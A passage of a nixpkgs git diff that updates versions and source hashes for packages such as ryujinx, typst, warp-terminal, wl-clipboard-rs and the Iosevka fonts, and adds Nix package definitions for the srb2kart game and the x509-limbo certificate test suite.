   (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "4.5.0"; sha256 = "1zapbz161ji8h82xiajgriq6zgzmb1f3ar517p2h63plhsq5gh2q"; })
-  (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "8.0.0"; sha256 = "05392f41ijgn17y8pbjcx535l1k09krnq3xdp60kyq568sn6xk2i"; })
   (fetchNuGet { pname = "MsgPack.Cli"; version = "1.0.1"; sha256 = "1dk2bs3g16lsxcjjm7gfx6jxa4667wccw94jlh2ql7y7smvh9z8r"; })
   (fetchNuGet { pname = "NetCoreServer"; version = "8.0.7"; sha256 = "171mn5b56ikkjvsx3hvgmh3lga9c2ja31as0hnfr3040rdrj4ij5"; })
   (fetchNuGet { pname = "NETStandard.Library"; version = "1.6.0"; sha256 = "0nmmv4yw7gw04ik8ialj3ak0j6pxa9spih67hnn1h2c38ba8h58k"; })
@@ -146,7 +145,7 @@
   (fetchNuGet { pname = "securifybv.ShellLink"; version = "0.1.0"; sha256 = "1v52d01590m8y06bybis6hlg296wk3y7ilqyh01ram62v5wrjvq2"; })
   (fetchNuGet { pname = "shaderc.net"; version = "0.1.0"; sha256 = "0f35s9h0vj9f1rx9bssj66hibc3j9bzrb4wgb5q2jwkf5xncxbpq"; })
   (fetchNuGet { pname = "SharpZipLib"; version = "1.4.2"; sha256 = "0ijrzz2szxjmv2cipk7rpmg14dfaigdkg7xabjvb38ih56m9a27y"; })
-  (fetchNuGet { pname = "ShimSkiaSharp"; version = "1.0.0.13"; sha256 = "1bkpx7zk5vh2rymam165kkqky2768nasgzqcil8kxzryqd853af4"; })
+  (fetchNuGet { pname = "ShimSkiaSharp"; version = "1.0.0.14"; sha256 = "0gdzvkrg63a4nqh4z2dxqiwmw07if08vdffmmgbck6j4nblx11qh"; })
   (fetchNuGet { pname = "Silk.NET.Core"; version = "2.16.0"; sha256 = "1mkqc2aicvknmpyfry2v7jjxh3apaxa6dmk1vfbwxnkysl417x0k"; })
   (fetchNuGet { pname = "Silk.NET.Vulkan"; version = "2.16.0"; sha256 = "0sg5mxv7ga5pq6wc0lz52j07fxrcfmb0an30r4cxsxk66298z2wy"; })
   (fetchNuGet { pname = "Silk.NET.Vulkan.Extensions.EXT"; version = "2.16.0"; sha256 = "05918f6fl8byla2m7qjp7dvxww2rbpj2sqd4xq26rl885fmddfvf"; })
@@ -169,9 +168,9 @@
   (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; })
   (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.7"; sha256 = "119mlbh5hmlis7vb111s95dwg5p1anm2hmv7cm6fz7gy18473d7v"; })
   (fetchNuGet { pname = "SPB"; version = "0.0.4-build32"; sha256 = "0fk803f4llcc7g111g7wdn6fwqjrlyr64p97lv9xannbk9bxnk0r"; })
-  (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.13"; sha256 = "040w8xqjfyda8742387y0jq1bgs3m57id7qdgiwchv4860v7s97s"; })
-  (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.13"; sha256 = "06ppak6gxyiq716zjf919zanl7kb2jwg5d8rhxf9f6fnyd5mjaiv"; })
-  (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.13"; sha256 = "0kr2hlrds1w38pilbq17jnc8xy37b7zis2m1sg6vqrsqp9blhlb7"; })
+  (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.14"; sha256 = "1x4cc9npxfl22wgy34pxglp7aja7h6q4vkc5ms0xknr2j9b7x5j6"; })
+  (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.14"; sha256 = "03g343r1adaclnybj35p33bskwkn2scr9gka1l3cf13d3rz1hxal"; })
+  (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.14"; sha256 = "18rnn88gfkry72vzknwa89vfkclsn06hz4wqx3iy1x81pf1az4qq"; })
   (fetchNuGet { pname = "System.AppContext"; version = "4.1.0"; sha256 = "0fv3cma1jp4vgj7a8hqc9n7hr1f1kjp541s6z0q1r6nazb4iz9mz"; })
   (fetchNuGet { pname = "System.Buffers"; version = "4.0.0"; sha256 = "13s659bcmg9nwb6z78971z1lr6bmh2wghxi1ayqyzl4jijd351gr"; })
   (fetchNuGet { pname = "System.Buffers"; version = "4.3.0"; sha256 = "0fgns20ispwrfqll4q1zc1waqcmylb3zc50ys9x8zlwxh9pmd9jy"; })
@@ -190,7 +189,6 @@
   (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "4.0.0"; sha256 = "1n6c3fbz7v8d3pn77h4v5wvsfrfg7v1c57lg3nff3cjyh597v23m"; })
   (fetchNuGet { pname = "System.Diagnostics.Tools"; version = "4.0.1"; sha256 = "19cknvg07yhakcvpxg3cxa0bwadplin6kyxd8mpjjpwnp56nl85x"; })
   (fetchNuGet { pname = "System.Diagnostics.Tracing"; version = "4.1.0"; sha256 = "1d2r76v1x610x61ahfpigda89gd13qydz6vbwzhpqlyvq8jj6394"; })
-  (fetchNuGet { pname = "System.Drawing.Common"; version = "8.0.2"; sha256 = "03rlk7wrx7469psz6f1qb8n5kb3s04ykzs2pn9ycia1sgj7vhi1z"; })
   (fetchNuGet { pname = "System.Dynamic.Runtime"; version = "4.3.0"; sha256 = "1d951hrvrpndk7insiag80qxjbf2y0y39y8h5hnq9612ws661glk"; })
   (fetchNuGet { pname = "System.Globalization"; version = "4.0.11"; sha256 = "070c5jbas2v7smm660zaf1gh0489xanjqymkvafcs4f8cdrs1d5d"; })
   (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; })
diff --git a/pkgs/by-name/ry/ryujinx/package.nix b/pkgs/by-name/ry/ryujinx/package.nix
index d8423671648d..6f42fd3984b6 100644
--- a/pkgs/by-name/ry/ryujinx/package.nix
+++ b/pkgs/by-name/ry/ryujinx/package.nix
@@ -25,13 +25,13 @@
 
 buildDotnetModule rec {
   pname = "ryujinx";
-  version = "1.1.1223"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml
+  version = "1.1.1231"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml
 
   src = fetchFromGitHub {
     owner = "Ryujinx";
     repo = "Ryujinx";
-    rev = "5a900f38c52269ee1282695e5e62a05269d0a478";
-    sha256 = "1s0w89f8vafr81hq1gs4sz6qlcqd11vy5580mrfngkry8g3bmgjs";
+    rev = "1217a8e69b9b4feadb34c2d38209d765c9542819";
+    sha256 = "1gr4cg7mbnvql7xxf9zwc0mi2a7575h28c4gfydpcdrvx0vaqknb";
   };
 
   dotnet-sdk = dotnetCorePackages.sdk_8_0;
diff --git a/pkgs/by-name/si/signal-export/package.nix b/pkgs/by-name/si/signal-export/package.nix
index 1ec9762d62bc..3f9f9fa54ead 100644
--- a/pkgs/by-name/si/signal-export/package.nix
+++ b/pkgs/by-name/si/signal-export/package.nix
@@ -6,12 +6,12 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "signal-export";
-  version = "1.8.1";
+  version = "1.8.2";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    sha256 = "sha256-v4civFGu+CLRTGicQAMSei+k6Iyz0GAznTLEr7ylx24=";
+    sha256 = "sha256-Hm0BVF2RUsxDacsAB3MJtk1t9FYmBPjeb5JzwaLkZ14=";
   };
 
   nativeBuildInputs = with python3.pkgs; [
diff --git a/pkgs/by-name/sr/srb2kart/package.nix b/pkgs/by-name/sr/srb2kart/package.nix
new file mode 100644
index 000000000000..9601d99263ac
--- /dev/null
+++ b/pkgs/by-name/sr/srb2kart/package.nix
@@ -0,0 +1,106 @@
+{ lib
+, stdenv
+, fetchzip
+, fetchFromGitHub
+, cmake
+, curl
+, nasm
+, game-music-emu
+, libpng
+, SDL2
+, SDL2_mixer
+, zlib
+, makeWrapper
+, makeDesktopItem
+, copyDesktopItems
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "srb2kart";
+  version = "1.6";
+
+  src = fetchFromGitHub {
+    owner = "STJr";
+    repo = "Kart-Public";
+    rev = "v${finalAttrs.version}";
+    hash = "sha256-5sIHdeenWZjczyYM2q+F8Y1SyLqL+y77yxYDUM3dVA0=";
+  };
+
+  assets = stdenv.mkDerivation {
+    pname = "srb2kart-data";
+    version = finalAttrs.version;
+
+    src = fetchzip {
+      url = "https://github.com/STJr/Kart-Public/releases/download/v${finalAttrs.version}/AssetsLinuxOnly.zip";
+      hash = "sha256-yaVdsQUnyobjSbmemeBEyu35GeZCX1ylTRcjcbDuIu4=";
+      stripRoot = false;
+    };
+
+    installPhase = ''
+      runHook preInstall
+
+      mkdir -p $out/share/srb2kart
+      cp -r * $out/share/srb2kart
+
+      runHook postInstall
+    '';
+  };
+
+  nativeBuildInputs = [
+    cmake
+    nasm
+    makeWrapper
+    copyDesktopItems
+  ];
+
+  buildInputs = [
+    curl
+    game-music-emu
+    libpng
+    SDL2
+    SDL2_mixer
+    zlib
+  ];
+
+  cmakeFlags = [
+    "-DSRB2_ASSET_DIRECTORY=${finalAttrs.assets}/share/srb2kart"
+    "-DGME_INCLUDE_DIR=${game-music-emu}/include"
+    "-DSDL2_MIXER_INCLUDE_DIR=${lib.getDev SDL2_mixer}/include/SDL2"
+    "-DSDL2_INCLUDE_DIR=${lib.getDev SDL2}/include/SDL2"
+  ];
+
+  desktopItems = [
+    (makeDesktopItem rec {
+      name = "Sonic Robo Blast 2 Kart";
+      exec = finalAttrs.pname;
+      icon = finalAttrs.pname;
+      comment = "Kart racing mod based on SRB2";
+      desktopName = name;
+      genericName = name;
+      startupWMClass = ".srb2kart-wrapped";
+      categories = [ "Game" ];
+    })
+  ];
+
+  installPhase = ''
+    runHook preInstall
+
+    install -Dm644 ../srb2.png $out/share/pixmaps/srb2kart.png
+    install -Dm644 ../srb2.png $out/share/icons/srb2kart.png
+    install -Dm755 bin/srb2kart $out/bin/srb2kart
+
+    wrapProgram $out/bin/srb2kart \
+      --set SRB2WADDIR "${finalAttrs.assets}/share/srb2kart"
+
+    runHook postInstall
+  '';
+
+  meta = with lib; {
+    description = "SRB2Kart is a classic styled kart racer";
+    homepage = "https://mb.srb2.org/threads/srb2kart.25868/";
+    platforms = platforms.linux;
+    license = licenses.gpl2Plus;
+    maintainers = with maintainers; [ viric donovanglover ];
+    mainProgram = "srb2kart";
+  };
+})
diff --git a/pkgs/by-name/ty/typst/Cargo.lock b/pkgs/by-name/ty/typst/Cargo.lock
index ab5ed2c5c484..e054eacee948 100644
--- a/pkgs/by-name/ty/typst/Cargo.lock
+++ b/pkgs/by-name/ty/typst/Cargo.lock
@@ -502,16 +502,6 @@ dependencies = [
 ]
 
 [[package]]
-name = "ctrlc"
-version = "3.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b467862cc8610ca6fc9a1532d7777cee0804e678ab45410897b9396495994a0b"
-dependencies = [
- "nix",
- "windows-sys 0.52.0",
-]
-
-[[package]]
 name = "data-url"
 version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1407,17 +1397,6 @@ dependencies = [
 ]
 
 [[package]]
-name = "nix"
-version = "0.27.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
-dependencies = [
- "bitflags 2.4.2",
- "cfg-if",
- "libc",
-]
-
-[[package]]
 name = "notify"
 version = "6.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -2531,7 +2510,7 @@ checksum = "6af6ae20167a9ece4bcb41af5b80f8a1f1df981f6391189ce00fd257af04126a"
 
 [[package]]
 name = "typst"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "az",
  "bitflags 2.4.2",
@@ -2592,13 +2571,13 @@ dependencies = [
 
 [[package]]
 name = "typst-assets"
-version = "0.11.0-rc1"
+version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e43b98ec1d7969c329e3735e597bbe5e69076445a570f9634b30c8dc01c704ae"
+checksum = "f13f85360328da54847dd7fefaf272dfa5b6d1fdeb53f32938924c39bf5b2c6c"
 
 [[package]]
 name = "typst-cli"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "chrono",
  "clap",
@@ -2606,7 +2585,6 @@ dependencies = [
  "clap_mangen",
  "codespan-reporting",
  "comemo",
- "ctrlc",
  "dirs",
  "ecow",
  "env_proxy",
@@ -2627,7 +2605,6 @@ dependencies = [
  "serde",
  "serde_json",
  "serde_yaml 0.9.32",
- "siphasher 1.0.0",
  "tar",
  "tempfile",
  "toml",
@@ -2645,12 +2622,12 @@ dependencies = [
 
 [[package]]
 name = "typst-dev-assets"
-version = "0.10.0"
-source = "git+https://github.com/typst/typst-dev-assets?rev=c63ab46#c63ab467b6d2242b7993b81c1156b915486bcf02"
+version = "0.11.0"
+source = "git+https://github.com/typst/typst-dev-assets?tag=v0.11.0#e0ef7ad46f28a440c41bc8e78563ace86cc02678"
 
 [[package]]
 name = "typst-docs"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "clap",
  "comemo",
@@ -2673,7 +2650,7 @@ dependencies = [
 
 [[package]]
 name = "typst-fuzz"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "comemo",
  "libfuzzer-sys",
@@ -2685,7 +2662,7 @@ dependencies = [
 
 [[package]]
 name = "typst-ide"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "comemo",
  "ecow",
@@ -2698,7 +2675,7 @@ dependencies = [
 
 [[package]]
 name = "typst-macros"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "heck",
  "proc-macro2",
@@ -2708,7 +2685,7 @@ dependencies = [
 
 [[package]]
 name = "typst-pdf"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "base64 0.22.0",
  "bytemuck",
@@ -2732,7 +2709,7 @@ dependencies = [
 
 [[package]]
 name = "typst-render"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "bytemuck",
  "comemo",
@@ -2751,7 +2728,7 @@ dependencies = [
 
 [[package]]
 name = "typst-svg"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "base64 0.22.0",
  "comemo",
@@ -2767,7 +2744,7 @@ dependencies = [
 
 [[package]]
 name = "typst-syntax"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "comemo",
  "ecow",
@@ -2782,7 +2759,7 @@ dependencies = [
 
 [[package]]
 name = "typst-tests"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "clap",
  "comemo",
@@ -2805,7 +2782,7 @@ dependencies = [
 
 [[package]]
 name = "typst-timing"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
  "parking_lot",
  "serde",
diff --git a/pkgs/by-name/ty/typst/package.nix b/pkgs/by-name/ty/typst/package.nix
index c49a116a3af6..e470a7f4ce61 100644
--- a/pkgs/by-name/ty/typst/package.nix
+++ b/pkgs/by-name/ty/typst/package.nix
@@ -11,19 +11,19 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "typst";
-  version = "0.11.0-rc1";
+  version = "0.11.0";
 
   src = fetchFromGitHub {
     owner = "typst";
     repo = "typst";
     rev = "v${version}";
-    hash = "sha256-jOq+aoBSRUTXldg8iWGSJ1z0y+3KbhZfVAgjZo9IsGo=";
+    hash = "sha256-RbkirnVrhYT/OuZSdJWMOvQXAeBmsFICsCrezyT6ukA=";
   };
 
   cargoLock = {
     lockFile = ./Cargo.lock;
     outputHashes = {
-      "typst-dev-assets-0.10.0" = "sha256-EBOZbblbavtsr2LEnoIF0UFmpSsm8Sq7ibxxWcAMIHY=";
+      "typst-dev-assets-0.11.0" = "sha256-wTmux3GsUIU+PX6SO9rrQHr3korPFBeP/Z8byC97KUI=";
     };
   };
 
diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 8b58fef47f57..dc1e3c73d77b 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,10 +1,10 @@
 {
   "darwin": {
-    "hash": "sha256-VHyEE0SziwDAzlv8VLt08tMXb20sqxTSj64hC+FyjUw=",
-    "version": "0.2024.03.05.08.02.stable_01"
+    "hash": "sha256-GgaRlROSWYZgFlH0bH6PTnRE3L/bb0kX0P6m7nmPlsY=",
+    "version": "0.2024.03.12.08.02.stable_01"
   },
   "linux": {
-    "hash": "sha256-CI1bzdFles9XNvqmkyNq9zJBf4P6HF8QIo1FsSDydjQ=",
-    "version": "0.2024.03.05.08.02.stable_01"
+    "hash": "sha256-9reFBIu32TzxE46c3PBVzkZYaMV4HVDASvTAVQltYN0=",
+    "version": "0.2024.03.12.08.02.stable_01"
   }
 }
diff --git a/pkgs/by-name/wl/wl-clipboard-rs/package.nix b/pkgs/by-name/wl/wl-clipboard-rs/package.nix
index 4fab6ae6574e..509845a637ee 100644
--- a/pkgs/by-name/wl/wl-clipboard-rs/package.nix
+++ b/pkgs/by-name/wl/wl-clipboard-rs/package.nix
@@ -6,18 +6,18 @@
 , withNativeLibs ? false
 }:
 
-rustPlatform.buildRustPackage {
+rustPlatform.buildRustPackage rec {
   pname = "wl-clipboard-rs";
-  version = "0.8.0-unstable-2023-11-27";
+  version = "0.8.1";
 
   src = fetchFromGitHub {
     owner = "YaLTeR";
     repo = "wl-clipboard-rs";
-    rev = "be851408e0f91edffdc2f1a76805035847f9f8a9";
-    hash = "sha256-OfLn7izG1KSUjdd2gO4aaSCDlcaWoFiFmgwwhR1hRsQ=";
+    rev = "v${version}";
+    hash = "sha256-tNmpGBg21IuhKEzY15O2MKVpMB+eCjvRVwVUahADuJU=";
   };
 
-  cargoHash = "sha256-rYFCPyWTUhyrEcoRM8I+iX7IaY/6i1tBVjhs47m3XY8=";
+  cargoHash = "sha256-0Ix+fF1QO1KU8FIOb8EV4iYXe4S69sZOxCdxYccL8m0=";
 
   cargoBuildFlags = [
     "--package=wl-clipboard-rs"
@@ -47,14 +47,13 @@ rustPlatform.buildRustPackage {
     "--skip=tests::copy::copy_test"
   ];
 
-  meta = {
+  meta = with lib; {
     description = "Command-line copy/paste utilities for Wayland, written in Rust";
     homepage = "https://github.com/YaLTeR/wl-clipboard-rs";
-    # TODO: add `${version}` once we switch to tagged release
-    changelog = "https://github.com/YaLTeR/wl-clipboard-rs/blob/master/CHANGELOG.md";
-    platforms = lib.platforms.linux;
-    license = with lib.licenses; [ asl20 mit ];
+    changelog = "https://github.com/YaLTeR/wl-clipboard-rs/blob/v${version}/CHANGELOG.md";
+    platforms = platforms.linux;
+    license = with licenses; [ asl20 mit ];
     mainProgram = "wl-clip";
-    maintainers = with lib.maintainers; [ thiagokokada ];
+    maintainers = with maintainers; [ thiagokokada donovanglover ];
   };
 }
diff --git a/pkgs/by-name/x5/x509-limbo/package.nix b/pkgs/by-name/x5/x509-limbo/package.nix
new file mode 100644
index 000000000000..18fe5778b7c4
--- /dev/null
+++ b/pkgs/by-name/x5/x509-limbo/package.nix
@@ -0,0 +1,48 @@
+{ lib
+, fetchFromGitHub
+, python3
+, x509-limbo
+}:
+
+python3.pkgs.buildPythonPackage {
+  pname = "x509-limbo";
+  version = "unstable-2024-03-13";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "C2SP";
+    repo = "x509-limbo";
+    rev = "a04fb05cf132e1405f71c12616cf0aead829909a";
+    hash = "sha256-TA4ciHkXg/RKzcIs2bwpx7CxsQDyQMG636Rr74xPsBA=";
+  };
+
+  dependencies = with python3.pkgs; [
+    flit-core
+
+    requests
+    pydantic
+    jinja2
+    cryptography
+    pyopenssl
+    pyyaml
+    certvalidator
+    certifi
+  ];
+
+  postInstall = ''
+    mkdir -p $out/share
+    cp limbo.json $out/share/
+
+    wrapProgram $out/bin/limbo \
+      --append-flags "--limbo $out/share/limbo.json"
+  '';
+
+  meta = with lib; {
+    homepage = "https://x509-limbo.com/";
+    description = "A suite of testvectors for X.509 certificate path validation and tools for building them ";
+
+    license = licenses.asl20;
+    platforms = platforms.all;
+    maintainers = with maintainers; [ baloo ];
+  };
+}
diff --git a/pkgs/by-name/xi/xiu/package.nix b/pkgs/by-name/xi/xiu/package.nix
index 294fac1dc861..a7551bd24332 100644
--- a/pkgs/by-name/xi/xiu/package.nix
+++ b/pkgs/by-name/xi/xiu/package.nix
@@ -11,16 +11,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "xiu";
-  version = "0.12.4";
+  version = "0.12.5";
 
   src = fetchFromGitHub {
     owner = "harlanc";
     repo = "xiu";
     rev = "v${version}";
-    hash = "sha256-tXZCWbqwt3v20rvfre/gAUzs8i78FpbNd5qAGNOX5VE=";
+    hash = "sha256-JST8nxsT+w524VzNeIW38Oct/n7VJ/nvrmgks2Vff30=";
   };
 
-  cargoHash = "sha256-6nWnw31A27VWJe8JGM+S05sqcZwQRrb1aanamv6ITZ4=";
+  cargoHash = "sha256-te60gZdDmbgOF6rLDAnvDx6vUbmCz3pC/wbu/iXgxAw=";
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/data/fonts/iosevka/bin.nix b/pkgs/data/fonts/iosevka/bin.nix
index e5324badd7b6..8c1d28cfda88 100644
--- a/pkgs/data/fonts/iosevka/bin.nix
+++ b/pkgs/data/fonts/iosevka/bin.nix
@@ -17,7 +17,7 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "${name}-bin";
-  version = "28.1.0";
+  version = "29.0.1";
 
   src = fetchurl {
     url = "https://github.com/be5invis/Iosevka/releases/download/v${version}/PkgTTC-${name}-${version}.zip";
diff --git a/pkgs/data/fonts/iosevka/variants.nix b/pkgs/data/fonts/iosevka/variants.nix
index 37b99bfc3009..0ebf09f82621 100644
--- a/pkgs/data/fonts/iosevka/variants.nix
+++ b/pkgs/data/fonts/iosevka/variants.nix
@@ -1,93 +1,93 @@
 # This file was autogenerated. DO NOT EDIT!
 {
-  Iosevka = "0c9b5hxqfi8jqbgdf5377l0xbga51j9h8hxi5yfa1zznqm1yp041";
-  IosevkaAile = "1xc43dinsikyr1q0br25kqlqknrahd8g0sxdphvm0f5chxrnysjk";
-  IosevkaCurly = "0v0r1xcgayzg7qb4r0apncpvc22faidbq5rrb5srb5nbaglrlkcm";
-  IosevkaCurlySlab = "1rj8xam8p8xx3slzsm3wg84cgzcg1mqsx2k9ww21ic21ckhr2b68";
-  IosevkaEtoile = "1hnjiqridfswlgzx2gx09nvmn2vj1iqzccxsv8bfddj9h3gxkqqv";
-  IosevkaSlab = "1ja18as85yww613nk4nxryy4mbvb1kgawx2fzh1wxw2g6jyqxdag";
-  IosevkaSS01 = "1a6im9ga2zm58ngf4wj19k9a6k971m9szj9ph8919mrpa5k66slb";
-  IosevkaSS02 = "1899hyy1snzbaj96vncv4qmd3ky3bbqqrxr54vmk49mx10fvq494";
-  IosevkaSS03 = "0lfkvd0rhw5yls31xhmd2vdwh51d16pyx9fq12kdy10syawlzfcy";
-  IosevkaSS04 = "101n098m6sckz3fp3xmd94d2yzpc4b1qhc7qn1g8kfk053ydg7jm";
-  IosevkaSS05 = "18j2rrs3m091f156b38jhlr3h83malgvsacidg5nkp09jcphfcsc";
-  IosevkaSS06 = "1jl1cxhqcj6an0z7ln2al105ayvhbrq1bs4a04zqg9j36wh67b86";
-  IosevkaSS07 = "0bzsg9zpwabp0hsp4d8v0ixzhzwm3m833g2326pc86aky50j1r3s";
-  IosevkaSS08 = "0gbmfddnfnc6g8zgfv3l3560j6ry9yky8l15kah2xx4ywzl561y1";
-  IosevkaSS09 = "1yfhh29k565kq7k2bnfci2mbkm0hb18r9h8cic2w4661fx9yb5vz";
-  IosevkaSS10 = "0q8xycxxvmzamhz2qsg0lzf1vgvcvs6pk854q3dwpc1xkp1592qb";
-  IosevkaSS11 = "0cxfbx1d28pval8gzka869b273vdaa88wqj6i6i4x1nss24kdyy9";
-  IosevkaSS12 = "0jax7xabzwb4visjg7b71gyqk5wx03x08scnmz92vq65sqd5i7yd";
-  IosevkaSS13 = "105fv8ilz579bqdyaynkngcsxfvx75smabns7vbj7vlkw3z39343";
-  IosevkaSS14 = "1d7gd3j158lk1dnv18ab1i1jfb9q18p977iypq95xy9yjyvs03s8";
-  IosevkaSS15 = "0nq2yi6ad1jk45k16br3rq4isy5cc1vb8pysbg4q2sswxm195j4a";
-  IosevkaSS16 = "0pqfqlv87ag0kfdnf7wqhnljby2a1nf44q0qaxamv2vkf0b14b55";
-  IosevkaSS17 = "132zqrl7z7c8z4bs74nyka8nx94hdzh41kg63rd8ynycj9wpg7p1";
-  IosevkaSS18 = "1chyqbynsgaxcgi0cf62g8b7h6hdkirfy05i8yh6rwwwa7bksp0l";
-  SGr-Iosevka = "123vpy4y51rp63q2biif7s2n1pb6s53r5zpsl3v0fx31lga5fqmb";
-  SGr-IosevkaCurly = "0n7xsxnkz1mrq9608vvm7sha7irr3zkxl92lj7nvkcp0fzsvj27k";
-  SGr-IosevkaCurlySlab = "08q7na9abvlnyds9kldgs4q6rpli4b6mb6xynxifgh0p2zqwvzby";
-  SGr-IosevkaFixed = "0y1yi6xn7zbp8ylg9i9y0l58a2fd2hvbplrv9l28b9rn4j5rlz1s";
-  SGr-IosevkaFixedCurly = "0bs83vis93myb6icixyz0nlzbk0iykdxc1m3jwqig8wmyl1d0rzq";
-  SGr-IosevkaFixedCurlySlab = "0gm00qjffx2rnwdm486jrhnv4f68g0lknfv05y0alm2nczn4nhh4";
-  SGr-IosevkaFixedSlab = "03xmgm5884496d6x1rsrcz3qg10j960zyqlwfawv33yr2yi1z7j8";
-  SGr-IosevkaFixedSS01 = "0dnprncmrl3pi6dkmcf7qgh90730zrfvpg32fjrm67svvjqlhnqk";
-  SGr-IosevkaFixedSS02 = "0yn9r3z0q328y0dk5mx4ik4cpsixmhg1fdsgqaznkwqwxgp687s4";
-  SGr-IosevkaFixedSS03 = "1bq5aq277ixnc6p1v0yf5l47kml1hh867zvv365wjz2wqdzg9zma";
-  SGr-IosevkaFixedSS04 = "0rbbm7b0ljr1l219ipq64a4vhpcsc68pp1y5n2a7vknnmg0al0hw";
-  SGr-IosevkaFixedSS05 = "11gs8zazljlayban6whjr8kbq40v0z6icn55iwn4spwfdri74p5p";
-  SGr-IosevkaFixedSS06 = "18pfxnpz5a78qis7ml1cq7s4y4h98d5zg0v8km6hgzmxan60rlhl";
-  SGr-IosevkaFixedSS07 = "0whgk33w9w1kjqy6lazc9p5azn9cjd2sy1cx2shvc8zqg60y5zjn";
-  SGr-IosevkaFixedSS08 = "189i1x7lk4r0q92g09badxl2ymf23fcsg80hpzlbpr84xqynsbnb";
-  SGr-IosevkaFixedSS09 = "04qp01is8piqsd4x7bn0aq63dhdvcg2b5hyd3m7xs6j9bfbxdb0a";
-  SGr-IosevkaFixedSS10 = "0xyw2z2gjs4qa1cwdf5zyman1d9c1imvdzlczc5vhikllfqxpagj";
-  SGr-IosevkaFixedSS11 = "05yqrn5zwgxrdn0g9cvd4i7km3r3xn5qdjakkywi3l8hi638qxj3";
-  SGr-IosevkaFixedSS12 = "0kl1wxiirpkd69x6zv3k5v2k0cgdh7sd288x05z5whgmx2cvlfpc";
-  SGr-IosevkaFixedSS13 = "1rb3l2i6k1974a26nkm7l3b2ky3wiwmcc9ia1sg0dcn0z8ckxapj";
-  SGr-IosevkaFixedSS14 = "15084jaxknbjf5xqhg21c5pv8w4hjma1h2x84wp5apqn4w6s4rza";
-  SGr-IosevkaFixedSS15 = "1dray6ywv2sj9hlm2mwx6zhbas2mhsd0q0lvmbyxldrwvapc749c";
-  SGr-IosevkaFixedSS16 = "1cikcxyv1jbw83wlvxcp3f5qivy0gklqzirpsfyj8q13nllqhq1h";
-  SGr-IosevkaFixedSS17 = "0mvmp4fx3rajd6l2370jc7mcn7fr6z3yh0zxz7haps7zhkbp9fgg";
-  SGr-IosevkaFixedSS18 = "1nkghw9j672q2k2y3hdlwj237lk31ig7860phbxx90nnxy9vpjhz";
-  SGr-IosevkaSlab = "011jcy2a2196b2lizz5qcf044rkh6hmfjpm171skiqidxndafpf4";
-  SGr-IosevkaSS01 = "0yndd4ry0mcm3h578y3azqnqx4iild2xxqgbwcxs995pc4n8i7mr";
-  SGr-IosevkaSS02 = "13p9674zv6xj2378i0lsg6g61g735zwgdjkq35cmhfavbmp4kgnf";
-  SGr-IosevkaSS03 = "1w9pnbs2xkmxggr76n8n2ikk5x7zha9na26dg2xdridhlvlzdwvm";
-  SGr-IosevkaSS04 = "1ds9mjx37ihhq60ysccmgj15vzhyl7jjkr1is6n76aqacjqxki0g";
-  SGr-IosevkaSS05 = "1n2jcpym1yzb7xwd86s2kq5gmqi1i83lvmdng0y4wmi09ak6njwi";
-  SGr-IosevkaSS06 = "08hd66f6fbgnxns9zbr6wjqcxqnmbs6mrrd66yrlsxx9xcz9vggx";
-  SGr-IosevkaSS07 = "1lrjvpcgvvanmajvdw91d7f3kwg4xmfmsq7x455mx06ni6c6yx1x";
-  SGr-IosevkaSS08 = "1m959d0hwb5v3ad483gaw7kzjzkws0p5y10gd337n5vsjsy3l1yj";
-  SGr-IosevkaSS09 = "1q15mgabvdh5bvl8i36807m0nl0aiglfrpa3bilrbbayvqsp4yhr";
-  SGr-IosevkaSS10 = "0nw7053361rb38w104yg31xib42v67n7zv3j8j7z0al0z5ypak35";
